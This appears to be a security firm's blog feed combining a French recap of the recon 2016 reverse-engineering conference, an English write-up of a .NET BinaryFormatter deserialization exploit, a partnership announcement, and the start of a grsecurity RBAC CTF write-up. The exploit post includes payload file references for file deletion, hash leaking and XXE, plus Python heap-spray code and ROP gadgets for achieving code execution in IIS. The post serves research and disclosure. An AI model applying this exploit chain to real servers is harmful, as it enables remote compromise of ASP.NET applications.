recon 2016

Première fois à recon et, oh waww! Assez différente des autres conférences, recon (dont le site web est recon.cx et non recon.com) est fortement orientée sur le Reverse Engineering et l’exploitation, que ce soit hardware ou software.

Étalée sur 3 jours avec une seule track, la conférence est pleine de talks à la fois intéressants et hallucinants, que nous tentons donc de résumer dans ce long post!

Hardware-Assisted Rootkits and Instrumentation: ARM Edition

Cette première présentation introduit le PMU (Performance Monitoring Unit), une extension CPU présente sur de nombreux systèmes ARM permettant d’obtenir des informations du système en temps réel. En fixant un compteur de -1 sur une instruction il est possible de recevoir une ISR (Interrupt Service Request), et ainsi d’accéder à une capture des registres au moment de l’instruction.. ou presque, puisqu’un délai appellé “skid” peut survenir entre l’instruction et l’interruption associée, auquel cas il est nécessaire de s’adapter par différents mécanismes.
Il est alors possible d’utiliser les propriétés du PMU afin de hooker des instructions tel que SVC sur ARM afin de surveiller les syscalls effectués sans patcher directement l’Exception Vector Table (EVT), qui est la technique classique intrusive, susceptible d’être détectée par des outils de sécurité.
2 exemples de monitoring des syscalls via le PMU sont alors présentées:

  • rootkit classique sur Android qui cache des fichiers / processus en hookant getdents, et une autre démonstration sur read()
  • détection/prévention d’attaque ROP, de façon similaire à la détection de stack pivot EMET sur Windows en monitorant l’état de la stack lors de requête mprotect (démonstration contre l’exploit Stagefright). Évidemment c’est ici une mesure basique loin de vraiment bloquer le ROP, mais une démonstration intéressante

Black box reverse engineering for unknown/custom instruction sets

L’auteur a présenté “deux” techniques:

  • On triche car l’architecture n’est en réalité pas inconnue et il existe de la documentation (datasheets, press release, etc.)
  • Il n’y a pas de documentation et il faut donc statistiquement analyser les données.

Bien entendu, la présentation s’est focalisée sur la deuxième partie. On peut en général visualiser les interrupt table ou les vector table, et a grand coup d’analyses statistiques, il est possible de déterminer quelle instruction est le call et en déduire laquelle est le ret. Les instructions push/pop apparaissent aussi avant les call/ret et des comparaisons sont généralement utilisées juste avant les jump. En procédant ainsi il est possible de commencer à écrire un désassembleur pour l’architecture et déduire d’autres instructions.

Une partie dynamique consiste alors à capturer les états, et si l’instruction mov est connue, déduire ce que font les autres instructions basé sur ces états via un “oracle“.

Visiting The Bear Den

Les analystes de ESET décrivent ici leur suivi des activités d’un groupe d’attaquants connu sous plusieurs noms dont APT28, Fancy Bear, sofacy… qui est connu pour avoir ciblé des embassades et ministères dans plus de 40 pays ainsi que l’OTAN. Ces derniers commencent leur attaque par du spear phishing, et utilisent plusieurs 0days (flash, windows, office) afin d’exécuter du code arbitraire, élever les privilèges et établir une communication chiffrée avec des serveurs de C&C (malware Sednit). L’exploit kit – SEDKIT – se compose de plusieurs composants dont un dropper en delphi, un bootkit, un rootkit, un outil de pivot… l’éventail d’armes attendu pour une APT.

Un aspect intéressant de l’analyse est la présence de quelques fails découverts tel que l’oubli de configurer bitly en mode privé permettant ainsi de découvrir les URLs, le code C++ commenté du composant XAGENT laissé en ligne, ou encore du code et messages de debug laissés dans les exploits (non obfusqués).

Shooting the OS X El Capitan Kernel Like a Sniper

La team Keen (aka Team Sniper à pwn2own 2016) introduit tout d’abord les mitigations présentes dans le dernier kernel OS X: les classiques kASLR, DEP, SMEP et SMAP (qui est supporté par le hardware des derniers mac). La structure vm_map_copy – utilisée pour garder une copie de certaines données, et cible privilégiée des exploits kernel pour obtenir un arbitrary read – a par ailleurs été modifiée: le pointeur kdata a été retiré, puis une vérification a été ajoutée sur le champ size qui se faisait alors utiliser afin de contourner la première mitigation. Ces dernières rendent l’exploitation bien plus complexe malgré la présence d’un TOCTOU possible sur la vérification du champ size.

Leur observation est que la kslide fixée pour l’ASLR du kernel 64-bit est relativement faible, avec une couverture d’environ 512MB. Il est donc possible de faire du Heap Spraying afin d’obtenir de façon fiable des données contrôlées à une adresse fixe, dont des adresses kalloc‘ed et une ropchain kernel permettant de contourner SMAP/SMEP.

Ils démontrent ensuite cette technique sur leur exploit pwn2own: un bug permettant un write-what-where restreint de 8 floats dans un range de [-0xFFFF:0xFFFF]. Afin de l’exploiter ils sprayent la mémoire en mettant un tag (0x41414141) à un endroit précis, itèrent sur tous leurs objets jusqu’a retrouver ce tag, puis avancent octet par octet jusqu’à obtenir une adresse de vtable, permettant ainsi de retrouver l’adresse de base du kernel. Ils peuvent alors ensuite remplir à nouveau leurs objets avec une ropchain et finir par réécrire la vtable afin de pivoter dans la ropchain.

JavaJournal

La plupart des reversers sont réticents à lire du code Java. Bien que le bytecode se décompile facilement, reverser du code Java obfusqué dans lequel toutes les classes, méthodes et variables sont renomées en variantes de oO0o0O() s’avère vite pénible.
JavaJournal s’intéresse alors plutôt à la création de traces Java pour extraire les informations au runtime (tel que des chaînes de caractères déchiffrées), en tracant un processus Java avec le Java Debug Wire Protocol. L’application et le framework pyspresso sous-jacent sont codés en python et disponible sur github.

The Remote Metamorphic Engine

L’objectif du RME est d’obfusquer du code afin d’empêcher l’analyse par un reverser ou par une intelligence artificielle d’AV avec machine learning. Le concept (simplifié) est d’avoir une zone “trusted” à distance, et une zone “untrusted” en local qui exécute du code polymorphe/métamorphe en utilisant un challenge envoyé par la zone trusted . Le code est généré de sorte à ce qu’il faille exécuter le challenge pour y répondre, et de nombreuses mesures de détection de modification de la mémoire, détection d’émulation / debug, et d’obfuscation sont ajoutées pour complexifier le tout.

La question qui persiste toutefois est l’intérêt pratique de toute cette complexité puisqu’un analyste pourrait toujours analyser les syscalls effectués sans être détecté; tout le reste des opérations pourrait alors s’effectuer de manière beaucoup plus simple directement à distance dans la zone trusted

BBS-Era Exploitation for Fun and Anachronism

Cette présentation revient à l’ère du modem, avant l’apparition d’Internet, en gardant les connaissances d’exploitation modernes. Les BBS – Bulletin Board System – n’étaient évidemment pas sujets aux protections actuelles telles que DEP, ASLR, /GS, SafeSEH ou encore CFI… un fuzzing simpliste est suffisant pour découvrir des vulnérabilités, et l’exploitation s’avère donc très simple.

Ils ont terminé par une démonstration d’exploitation de RIPTerm.exe dont le payload lance le jeu Doom.

Dangerous Optimizations and the Loss of Causality

Les compilateurs optimisent le plus possible le code compilé, en enlevant typiquement le code jugé inutile ou inatteignable, sans forcément retourner de warnings à la compilation. Un exemple serait de tenter de détecter les integer overflows avec un code tel que if (ptr + len < ptr || ptr + len > max_ptr), que le compilateur pourrait optimiser en if (ptr + len > max_ptr) si len est unsigned, rendant ainsi le code vulnérable.

La recommandation est alors d’éviter les comportements indéfinis (ex: if (len > max_ptr - ptr)) et d’ajouter l’option -Wstrict-overflow=N à la compilation pour mieux détecter ces comportements.

Breaking Band

Cette recherche a été motivée par le lancement de Mobile PWN2OWN en 2012 avec un prix de départ de 100’000 $ pour un exploit dans un baseband. Pour rappel, le baseband est un système embarqué dans les téléphones mobiles et permet la communication sur les réseaux mobiles. Personne n’avait gagné ce prix jusqu’en 2015, ou l’équipe de Comsecuris a finalement exploité un baseband de Samsung Galaxy S6 pour la modique somme de 150’000 $.

Le baseband du S6 edge utilise le processeur cellulaire “Shannon”, à priori développé par Samsung. Il s’occupe de toute la couche mobile, 2G-4G, la carte SIM, la communication avec le système, etc. L’architecture est un ARM Cortex-R7. Afin de débuter l’analyse, les chercheurs ont d’abord tenté de reverser le blob binaire contenu dans les mise à jour de firmware Samsung. Ce dernier était composé d’un code de démarrage (bootstrap) et d’un binaire de 38MB, ayant une forte entropie. Ils n’ont pas réussi à le déchiffrer de manière statique.

Ils ont ensuite découvert qu’il était possible de générer des ramdump du CP (cellular processor) via la commande cbd (root) ou encore depuis le téléphone en utilisant le code *#9090# (spécifique à samsung) et en forçant le dump. Cela a permit de récupérer le binaire de 38M depuis le dump de 130MB en clair. Afin de le reverser plus facilement, ils ont ensuite identifié les fonctions au moyens de strings de debug, et les chemins des nom de fichiers. Ils ont ainsi pu générer ~20’000 functions nommées et il a fallu ensuite reverser les tâches kernel et la gestion de la mémoire.

Ils ont ensuite cherché des moyens de débugger les crash, et ont trouvé que les commandes AT permettent de lire ou d’écrire dans la mémoire (entre autre), permettant ainsi de connaître l’état de la pile au moment de crash. Pour rechercher des failles dans le baseband, ils ont identifié les fonctions gérant les messages dans la couche réseau L3 et ont pu retrouver le handler de messages 3G.

Un bug a été rapidement trouvé dans la gestion de message “PROGRESS” ou l’élément envoyé spécifie sa valeur et sa longueur, permettant d’effectuer un stack buffer overflow classique. Leur poc démontrait la prise de contrôle en redirigeant les appels reçu par la victime suite à un SMS reçu. Ils ont terminé leur présentation avec quelques pistes possibles pour escalader d’une compromission de baseband vers l’OS du téléphone.

Process Failure Modes

Alors que relativement simple à effectuer sur les systèmes UNIX, la création sécurisée de nouveaux processus sur Windows peut s’avérer complexe et peut être abusée à des fins d’élévation de privilèges.

Typiquement des problèmes liés à l’impersonation de l’utilisateur peuvent surgir lors de la création par un service privilégié (Task Scheduler, UAC, …); plusieurs exemples d’anciens bugs découverts dans Windows sont ainsi présentés, tel que l’utilisation du jeton d’accès (token) du service plutôt que celui de l’utilisateur, l’absence de token par l’utilisation de CreateProcess – qui lorsque lancée en contexte d’impersonation d’utilisateur laisse à l’utilisateur la possibilité de définir son propre handler d’exécutable afin de lancer une autre commande (avec les privilèges du service) que celle hardcodée dans l’application, la création d’un processus en Session 0 (utilisée pour les services) avec un token anonyme – ce qui peut avoir plusieurs conséquences tel que d’ouvrir la porte à d’autres attaques comme que le squatting de nom d’objet.

Le dernier exploit présenté est un bug de reference cycle provoqué par l’impersonation d’un LowBoxToken (AppContainer). Les objets du kernel restent présents tant que leur reference count n’atteint pas zéro. Puisque le bug maintient le reference count et permet donc de conserver un objet de processus malgré qu’il soit terminé. L’exploit “raising the dead” parvient alors à en abuser pour effectuer un Session ID Use-After-Free, nécessitant de se déconnecter et attendre qu’un administrateur se connecte et réutilise l’ID de session.

Quelques tricks pouvant induire en erreur les équipes de réponse à incident sont ensuite présentés, tel que la suppression d’un exécutable en cours d’exécution, l’exécution directe de DLL en processus, ou encore confondre WMI et Process Explorer afin qu’ils voient le chemin d’un autre exécutable.

How Do I Crack Satellite and Cable Pay TV?

Probablement la présentation la plus impressionnante techniquement. Chris Gerlinsky s’est attaqué au protocole Digicipher 2 utilisé dans de nombreuses set-top-boxes aux USA.

Il s’est focalisé sur le chiffrement utilisé pour le flux vidéo, et surtout comment le casser. Ayant identifié le chip responsable du déchiffrement en hardware sur un boîtier, il a entrepris de mapper les pins afin de trouver lesquelles pouvaient être reliées à quoi sur le PCB. Il a ainsi pu identifier qu’une batterie alimentait le chip, donc que les clés étaient probablement stockées en RAM et paramétrées par le constructeur en usine.

Chris a alors décidé de décaper le chip à l’acide couche par couche, et de l’observer au microscope électronique. Ceci a permis d’extraire visuellement la ROM bit par bit (!) et reconstituer le firmware exécuté sur le chip. Le CPU a été identifié comme un Motorola 6502.

Il a ensuite tenté de glitcher ce chip pour essayer d’obtenir une exécution de code en redirigeant le flux d’exécution sur la pile, permettant à terme de lire la mémoire et d’extraire les clés de chiffrement. En envoyant son payload via le bus SPI et en glitchant l’alimentation du chip, il a pu exécuter son shellcode, consistant en une boucle infinie de réception de shellcode sur le bus SPI. Le dump optique de la ROM a alors pu être comparé à celle lue via le shellcode. La comparaison bit à bit a montré un taux d’erreur de seulement 0.04%!

Le chip en test ayant été dessoudé du PCB, la RAM est donc vide. Il a par la suite ponté les pins d’un autre chip sur une batterie externe afin de maintenir les données en RAM avant de le dessouder à son tour. L’implémentation DES a alors été analysée car les résultats démontraient un algorithme non standard. Certains bits étaient en effet XORés lors de la lecture des données chiffrées avant le déchiffrement.

Il a finalement implémenté le tout en software et visualisé la mire d’attente d’un programme en pay per view. La présentation se conclut par “This was somewhat useless as there is nothing worth watching on TV

Monitoring & controlling kernel-mode events by HyperPlatform

HyperPlatform est un hyperviseur qui se veut simple à étendre et rapide d’exécution (contrairement à Boschs par exemple), tout en supportant les versions modernes de Windows (7-10 x86/x64). Le code est open-source ici.

L’hyperviseur est basé sur Intel-VT et hook les événements VM-exit, fournissant ainsi le contexte d’exécution et l’accès à la mémoire avec EPT. Cela permet alors de créer une API rapide et invisible du point de vue de l’OS. Le but original était d’analyser la protection patchguard du kernel Windows, mais les possibilités d’utilisation sont nombreuses. Une démonstration de EopMon basé sur HyperPlatform montre alors la détection et prévention d’une attaque de vol de jeton d’accès à des fins d’élevation de privilèges.

More Flash, More Fun!

Flash, bien que supposé être en voie de disparition, reste la cible privilégiée des attaques sur les navigateurs*. Sa surface d’attaque se décompose en 3 composants:

  1. ActionScript 2 (AS2): ensemble d’APIs ancien et réduit ayant de nombreux bugs mais dont l’exploitabilité peut s’avérer complexe
  2. ActionScript 3 (AS3): plus récent, moins de bugs mais exploitation plus simple
  3. “anticorpus”: les fonctionnalités présentes en dehors des langages de script: parseurs MP4, décompression…

En plus d’être affecté par les bugs tels que Heap Overflow ou Use-After-Free, Flash est notoirement susceptible aux bugs de Type Confusion, qui surgissent lorsqu’un type est casté en un autre “mauvais” type invalide avant utilisation, permettant alors d’écrire des valeurs arbitraires qui se retrouvent utilisées en pointeur par l’autre type.

Afin de complexifier l’exploitation et éviter les techniques classiques tel qu’écraser le champ size dans un Vector adjacent afin d’obtenir un arbitrary read/write, plusieurs mitigations ont été introduites, tel que l’isolation des classes utilisées de façon récurrentes dans les exploits dans un heap différent et l’application de checksums sur les structures sensibles. Évidemment ces derniers ne suffisent pas à bloquer toutes les attaques, ce qui est démontré en décrivant un exploit dans le reste de la présentation.

A Monitor Darkly: Reversing and Exploiting Ubiquitous On-Screen-Display Controllers in Modern Monitors

La journée s’est terminée par une présentation assez drôle, de par les slides mais aussi de la mise en scène faite par cette équipe de chercheur qui ont remarqué par hasard qu’un nouvel écran s’affichait en tant que device DDC. Après pas mal de recherche, ils se sont lancés dans le reversing du firmware et de l’OSD de leur écran, afin de pouvoir afficher n’importe quoi.

Plusieurs exemples ont été présentés avec une licorne apparaissant sur l’écran, ou encore l’affichage d’un cadenas vert dans firefox lors de l’accès à 4chan.

Sol[IDA]rity

Sol[IDA]rity est un nouveau plugin alternatif pour effectuer du Reverse Engineering collaboratif dans IDA. Plusieurs projets s’y attèlent déjà, mais ces derniers sont soit difficiles à utiliser, soit nécessitent l’utilisation de services externes.

Ce plugin permet de créer un projet (un par binaire), et de partager les modifications effectuées avec certains utilisateurs choisis: structures, noms/types de fonctions/variables, contenu décompilé par hex-rays, etc. Le tout en temps réel, avec la possibilité de se resynchroniser (replay des modifications) lorsqu’on se reconnecte au serveur.

Sol[IDA]rity est implémenté tout en python et hook de nombreux composants Qt afin de customiser IDA. Le code du client et du serveur devraient être open-sourcé, et on ne peut être qu’impatient de tenter de l’utiliser!

Des démonstrations sont disponibles sur https://solidarity.re/

Keystone: the last missing framework of Reverse Engineering

Après avoir publié les frameworks Capstone (désassembleur) et Unicorn Engine (émulateur CPU), le seul composant manquant à l’auteur était un assembleur: Keystone. L’objectif de ce dernier est d’exposer un framework simple d’utilisation et de le maintenir à jour avec les instructions ajoutées par les derniers CPUs, sans faire le choix simple mais lent d’utiliser masm ou binutils et de parser l’output.

De même que les 2 autres frameworks du même auteur, Keystone est multi-architecture et multi-plateforme, dispose d’une API C/C++ et de bindings pour python et quelques autres langages hipster. Keystone est implémenté au dessus de LLVM, ce qui lui fournit un très bon support de par l’implication de plusieurs vendeurs CPU dans le projet.

When Governments Attack

L’EFF (Electronic Frontier Foundation) agit sur plusieurs sujets tel que défendre les droits digitaux aux tribunaux, publier des articles sur la loi & la confidentialité, ou développer des projets tel que le récent Let’s Encrypt. Dans cette présentation plusieurs scénarios d’attaque effectués par des gouvernements contre des journalistes et activistes sont décrits, et révèlent que les attaques n’ont pas nécessairement besoin d’être sophistiquées pour marcher: des bloggeurs vietnamiens étaient ciblés par des fichiers Office malicieux, l’Éthiopie en utilisant des techniques similaires avait installé l’outil de surveillance FinFisher sur l’ordinateur d’un citoyen américain, ou encore des appels téléphoniques de Social Engineering ont été tentés sur des personnes travaillant en relation avec des activistes iraniens.

Des domaines qui n’appartenaient plus à l’EFF tel que electronicfrontierfoundation.org ont été utilisés dans des attaques plus sophistiquées tel que Pawn Storm (Russie?), qui de leur expérience inclut l’utilisation conjointe de spear phishing et de 0days Java (Désactivation du click to play + vulnérabilité de désérialization d’objet) pour finallement déployer le malware Sednit.

Reverse Engineering ISC controllers

Après avoir vu le cours Coursera “Computer Architecture”, l’auteur a décidé d’acquérir une carte FPGA Xilinx afin de développer son propre processeur. Par la suite, il s’est rendu compte qu’il n’était pas possible de le faire depuis Linux. Il s’est donc concentré sur le reversing des outils de Xilinx afin de développer une librairie opensource permettant de communiquer avec n’importe quelle board FPGA.

L’auteur a d’abord analysé le traffic USB du controlleur Xilinx, dumpé son firmware et reversé le protocole utilisé par ce controlleur pour communiquer en JTAG vers les boards. Certains des outils développé sont publiés sur github :

https://github.com/diamondman

Abusing the NT Kernel Shim Engine

Le Kernel Shim Engine (KSE) est un composant non documenté du kernel Windows permettant d’intercepter divers appels effectués par les drivers. La structure utilisée par ces derniers (fonctions Kse du kernel) est obtenue par Reverse Engineering due à l’absence de symboles.
Le KSE permet de poser des Device Shims et Driver Shims. Par défaut Windows enregistre et utilise plusieurs shims, dont certains built-ins: KmWin7VersionLie (falsifie la version de Windows perçue par le driver), KmWin8VersionLie, KmWin81VersionLie, SkipDriverUnload (curieux..), DriverScope… La setup du KSE est contrôlé par des clés de registre et la Shim Database (SDB). Dans un premier temps l’IAT est hookée, puis les callbacks et gestionnaires d’IRPs (I/O Request Packets).
Le KSE permet donc d’intercepter proprement de nombreux appels intéressants dans le kernel, et semble donc être une bonne cible pour les malwares (ou solutions anti-malware).
La fin de la présentation introduit DriverMon: un outil graphique de monitoring de l’activité des drivers, qui devrait être ajouté à cette URL dans un futur proche.

Movfuscator-Be-Gone

L’instruction mov a été prouvée Turing-complete il y a quelques années. L’année dernière un obfuscateur nommé M/o/Vfuscator a été publié, qui compile un programme en instructions mov seulement, anéantissant alors le CFG et rendant le code beaucoup plus dur à reverser. Cette présentation introduit le Demovfuscator, qui rétabli le CFG (testé sur des épreuves de CTF) en utilisant une combinaison de static taint analysis et le solveur SMT z3.

.NET serialiception

Introduction

After discovering a weird base64 encoded format during pentest I wanted to find out what was that format and I met BinaryFormatter.

The BinaryFormatter format is internally used in a bunch of functions or can be used directly to materialize .NET objects.

The binary format is well documented here.

To be able to serialize and unserialize .NET objects, they must extend the ISerializable class.

As other serialization formats, the unserialized object is often casted to a specific one triggering some error if it doesn’t fit.

This research focus on the one that implements some specific deserialization constructors which are executed regardless of the expected casting.

James Forshaw already did a lot of work on this subject (https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) but firstly I wanted an easy way to tamper this BinaryFormatter format and then implement some POC everybody could use during penetration testing.

My scenario is to try to exploit this BinaryFormatter serialization from a web application. As I said, I saw it directly in POST and Cookies data during a pentest but another interesting vector is the ViewState that could pass BinaryFormatter format with the Token_BinarySerialized (even if I’m late on the subject http://fr.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20 as it’s rare to find one without a HMAC).

Firstly I wrote a JSON <-> BinaryFormatter converter so it’s easy to extract readable information from a BinaryFormatter stream, edit it in JSON and send back the modified version.

I quickly did the same with ViewState so I could tamper a non hmaced ViewState and insert my crafted BinaryFormatter to it.

Then I just have to find the interesting class.

ISerializable

Analysing most of the native ISerializable extended class, I noticed every actions an attacker could do by tampering a BinaryFormatter stream (I tried to be comprehensive).

Here is a list of quite interesting things we can do during deserialization :

Already known

Use examples/TempFileCollection_arbitrary_delete_or_smb_connect.json
ObjectId 8 is a BinaryObjectString which contains the filepath you want to delete (if you use a UNC path it will connect to it and leak hash)

Useless at the first view

Check examples/HashMembershipCondition_arbitrary_empty_ctor_call.json
ObjectId 4 contains a BinaryObjectString which contains the Assembly string of the class you want to construct.
This class should have an empty argument constructor that would be called (so it seems very useless)

I didn’t try it as I didn’t find an idea to exploit it.

  • Call to ParseManifest (unkown) ndp/clr/src/BCL/system/activationcontext.cs

I didn’t try it as I don’t know what Manifest is (maybe interesting)

  •  Unserialize Icon, Font, Bitmap, Cursor, ImageList

ndp/fx/src/commonui/System/Drawing/Icon.cs
ndp/fx/src/commonui/System/Drawing/Advanced/Font.cs
ndp/fx/src/commonui/System/Drawing/Bitmap.cs
ndp/fx/src/winforms/Managed/System/WinForms/Cursor.cs
ndp/fx/src/winforms/Managed/System/WinForms/ImageListStreamer.cs

Could be good to exploit native parser bug remotely.

  • Load X509 certificate ndp/clr/src/BCL/system/security/cryptography/x509certificates/x509certificate.cs

Interesting discoveries

DataSet object waits for XmlSchema BinaryObjectString that is vulnerable to Xml External Entities (check examples/DataSet_XXE.json).

Unfortunately Microsoft XML parser is quite susceptible so I didn’t succeed to blindly leak a web.config file (I only read C:\Windows\system.ini as POC). Actually I don’t know what to leak with a blind XXE on Windows System.

Maybe an XXE expert could do better, but it’s still a quite critical vulnerability if you know the application (SSRF and co…)

  • Unmarshal COMObject

So here comes the best part!

COMObject Marshaling

James Forshaw already pointed it ndp/fx/src/wmi/managed/System/Management/InteropClasses/WMIInterop.cs without trying to exploit it.

As COMObject Mashaling is a native windows function, I looked at the COMObject marshaling format to add a third layer of serialization (https://msdn.microsoft.com/en-us/library/cc226828.aspx) and reversed the ole32.dll CoUnmarshalInterface function.

I know nothing about COMObject so maybe I missed an easy exploit but I didn’t succeed to use OBJREF_STANDARD, OBJREF_HANDLER, and OBJREF_EXTENDED.

On the other hand OBJREF_CUSTOM allows you to pass an arbirary clsid that would load the associated DLL and try to unmarshall another layer of specific data pObjectData if this COMObject exposes the IMarshal interface (kind of 4th layer of custom serialization).

Unfortunately automatically trying junk data on every CLSID I found in the register didn’t produce anything.

Reversing ole32.dll shew me some special hardcoded CLSID. One of them  (CLSID_StdWrapper : {00000336-0000-0000-C000-000000000046}) used with special IID (IUnknown {00000000-0000-0000-C000-000000000046}) seems to use the pObjectData and fuzzing its format gives me a crash with controlled register \o/ !

I did my first tests on specific 64bits binaries under windows 7 and then setup a windows server 2008 R2 64 bits with IIS and asp.net 2.5 but the COMobject unmarshalling from BinaryFormatter is a feature of .NET (even in the last version) and the crash occurs in ole32.dll not related to IIS version so it should work everywhere.

crash_capture_20160512_103139

I figured that it may be possible to control RIP from this pointer with a very specific structure.

[Pointer + 0x20] -> [Pointer2 + 0x20] -> [Pointer3 + 0x28]
                                      -> [Pointer3 + 0x10]
                                      -> [Pointer3] == 0
[Pointer + 0x38] -> [Pointer4 + 0x38] -> [Pointer5] -> [Pointer6 + 8] -> RIP

Of course finding such specific structure in randomly mapped memories was impossible.

If you remember the list of possible unserializable .NET objects one of them should raise your attention to achieve heap spray.

Bitmap ! Indeed it is possible to craft a specific BMP that would be mapped untouched in memory (see examples/Image.json).
But how can we achieve heap spray without sending Gb of BMP?

BinaryFormatter allows internal object reference!

Firstly it may allow an easy DOS by cross referencing two objects (haven’t tested yet).

Secondly, it’s perfect to do a nice heap spray!

Just create one ArraySinglePrimitive with your BMP sprayed data and create as many ClassWithMembersAndTypes (System.Drawing.Image) with member “Data” a MemberReference pointing to the ObjectID of this ArraySinglePrimitive.

I choose an arbitrary bmp size aligned on 0x10000 ((640 * 818) == 0x180000 + bmp header) so it would reduce the shift in random mapping.

Once I found a nice always mapped address (0x30303030) I tried to spray the magic pointer allowing me to control RIP.

def q(i):
 return struct.pack('<Q', i)

spray =  q(0) + q(pointer+0x8)
spray += q(RIP-1) + q(0xDEADBABEDEFECA7E)
spray += q(pointer) + q(0xDEADBABEDEFECA7E)
spray += q(0xDEADBABEDEFECA7E) + q(pointer+0x10)

heap

A very good point for us is that memory access errors are handled by .net so spawned IIS worker process w3wp.exe doesn’t crash.

You can try as many times as you want and it should take maximum 8 tries to find your structure correctly aligned!

With relatively good RIP control, next part was to find non-ASLR DLL to construct our ROP.
Fortunately, diasymreader.dll is non-ASLR and seems to be loaded after a first .net exception.

I needed to change my magic pointer structure to also control RSP with one gadget and point it in my sprayed retchain+ropchain.

heaprop

spray =  q(0) + q(pointer+0x8)
spray += q(RIP-1) + q(0xDEADBABEDEFECA7E)
spray += q(pointer) + q(RIP2)
spray += q(RSP) + q(pointer+0x10)

RIP : push rsi # pop rsp # add rsp, 0x20 # pop rdi
RIP2 : pop rsp # add rsp, 0x10

This way I can control RSP !

Last part should be straight-forward as virtualAlloc and memcpy functions can be called from diasymreader.dll.

A third heapspray with nopsled+shellcode should be enough to stabilize the exploit.

heapsc

I successfully reliably exploited this vulnerability on my IIS lab directly from a non hmac’ed ViewState to run meterpreter.

To sum up :

  1. ViewState deserialization with Token_BinarySerialized
    If you directly find BinaryFormatter (with ot without obfuscation (SAP application I’m looking at you with your base64(gzip(base64(BinaryFormatter)))))
  2. BinaryFormatter deserialization which we use to deserialize 3 BMP 400 times each and a IWbemClassObjectFreeThreaded object
  3. this object actually contains a malicious marshalled COMobject that allows us to control a special pointer.
  4. if this pointer dereference a specific structure that we spray with our first BMP we can control RIP then RSP that point on our second BMP with a ROPCHAIN that VirtualAlloc and memcpy our shellcode from the third BMP.

Conclusion

Deserializing untrusted input is bad, we all know that… I didn’t find public POC of vulnerability with .NET serialization (compare to Java) so here it is!

For information, I reported the COMObject deserialization crash to Microsoft and they flagged it “defense in depth” as it requires untrusted unmarshaling first, so if they make a patch it will be in a long time.

Unfortunately I didn’t find another vector to exploit the COMObject unmarshaling bug (RPC DCOM use another dll to unmarshal COMObject) but maybe someone with better windows knowledge could find an idea !

Last but not least the .NET remoting system internally uses BinaryFormatter. It has been replaced by WCF but it should be possible to exploit the same bugs if WCF is configured to accept NetDataContractSerializer.

SCRT infrastructure division – New partnership announcement

SCRT has launched a partnership with Skybox Security to help its clients to strenghlen their risk identification and measurement capabilities.

Information systems are constantly getting complexer and are very dynamic. Skybox provides a powerful set of integrated security solutions that give unprecedented visibility of the attack surface and key Indicators of Exposure (IOEs) such as exploitable attack vectors, hot spots of vulnerabilities, network security misconfigurations and non-compliant firewalls. Skybox allows to break down information silos through integration with dozens of security solutions that enterprises are already using. By extracting actionable intelligence from data using modeling and simulation, Skybox gives security leaders the insight they need to quickly make decisions about how to best address threat exposures that put their organization at risk, therefore increasing operational efficiency.

More information on Skybox Security at http://www.skyboxsecurity.com

rbaced – a CTF introduction to grsecurity’s RBAC

Description

rbaced was a pwnable challenge at last week-end’s Insomni’hack Teaser, split in 2 parts: rbaced1 and rbaced2.

TL;DR: grsecurity/PaX can prevent introducing executable memory in a process or execute untrusted binaries, and make your life miserable.

The description:

This coffee machine can be controlled from your smartphone.
We can’t provide the app itself, however we found the HTTP server running on the machine… which seems to be *very* crappy and subject to several lame vulnerabilities.
Since the binaries can’t be recompiled, administrators have attempted to harden the system with grsecurity…
Read /flag_part1 to get the flag for part I. [200pts]
Run /getflag_part2 to get the flag for part II. [300pts]
Challenge files | Link
Your coffee creds: <login> / <password>

FYI: This is a pwnable, not a web. No kernel exploit involved :)

As just described, this challenge is running on a system hardened with grsecurity. While a large part of grsecurity is kernel self-protection, this challenge focuses on userland protections.
Since hiding deployment details doesn’t add any fun to a CTF task, we provided everything required to run the challenge in the same context than the online instance:

rbaced/
    rbaced/
    ├── etc/
    │   ├── grsec/
    │   │   ├── policy                         # RBAC policy for default roles
    │   │   └── roles/
    │   │       ├── groups/
    │   │       └── users/
    │   │           ├── authenticator          # definition of the authenticator role
    │   │           └── rbaced                 # definition of the rbaced role
    │   ├── sysctl.d/
    │   │   └── 05-grsecurity.conf             # runtime grsecurity options (shows deter_bruteforce is disabled among others)
    │   └── xinet.d/                           # fail in the directory name 😉
    │       └── authenticator                  # associates incoming 127.0.0.1:4242 requests to the authentication binary
    ├── home/
    │   ├── authenticator/
    │   │   ├── authenticator                  # authentication binary (compiled with SSP/PIE/RELRO/FORTIFY)
    │   │   └── creds_db.txt                   # hashed credentials
    │   └── rbaced/
    │       ├── rbaced                         # HTTP server, handles CGI, static files and errors - no SSP/PIE/RELRO/FORTIFY
    │       ├── rbaced.conf                    # HTTPd configuration file
    │       └── www/
    │           ├── cgi-bin/
    │           │   ├── order                  # binary - no SSP/PIE/RELRO/FORTIFY
    │           │   └── preferences            # binary that saves preferences in a pref.txt file - no SSP/PIE/RELRO/FORTIFY
    │           ├── index.html
    │           ├── static/*                   # static files (css, js, images...)
    │           └── userdata/                  # writable directory to save preferences
    ├── lib/
    │   └── x86_64-linux-gnu/
    │       └── libc.so.6                      # libc to get the same offsets than the online host
    ├── README
    └── usr/
        └── src/
            ├── config-4.3.3-grsec             # kernel config
            └── linux-image-4.3.3-grsec.deb    # kernel and modules for debian/ubuntu (same as online)

Once these files were copied/installed, you just had to download and install gradm.
Run gradm -E after setting passwords as instructed, and you’re ready to go!

The RBAC policy

A grsecurity RBAC policy is pretty easy to understand. It is documented here. Role, subject and object modes can be found in links in the appendix here.

The rbaced role is defined as follows:

role rbaced uT
subject /
    /                                       h
    /etc/ld.so.cache                        r
    /dev/urandom                            r
    /dev/random                             r
    /lib/x86_64-linux-gnu                   rx
    /lib64                                  rx
    /home/rbaced/www/index.html             r
    /home/rbaced/www/cgi-bin/               x
    /home/rbaced/www/userdata/              cdrw
    /home/rbaced/www/static/                r

    $grsec_denied

    -CAP_ALL
    +PAX_MPROTECT
    +PAX_RANDMMAP
    RES_CPU 25s 25s
    connect disabled
    bind disabled

subject /home/rbaced/rbaced
    /flag_part1                             r
    /home/rbaced/rbaced.conf                r
    /home/rbaced/rbaced                     x

    +PAX_MPROTECT
    +PAX_RANDMMAP
    RES_CPU 25s 25s
    connect 127.0.0.1:4242 stream tcp
    bind disabled

All objects on the filesystem are hidden ‘h‘ by default, and permissions are granted progressively.
The default subject ( / ) will apply to any process run by user rbaced unless there is another more specific subject matching that process that overrides ACL inheritance with the ‘o‘ mode (more info).
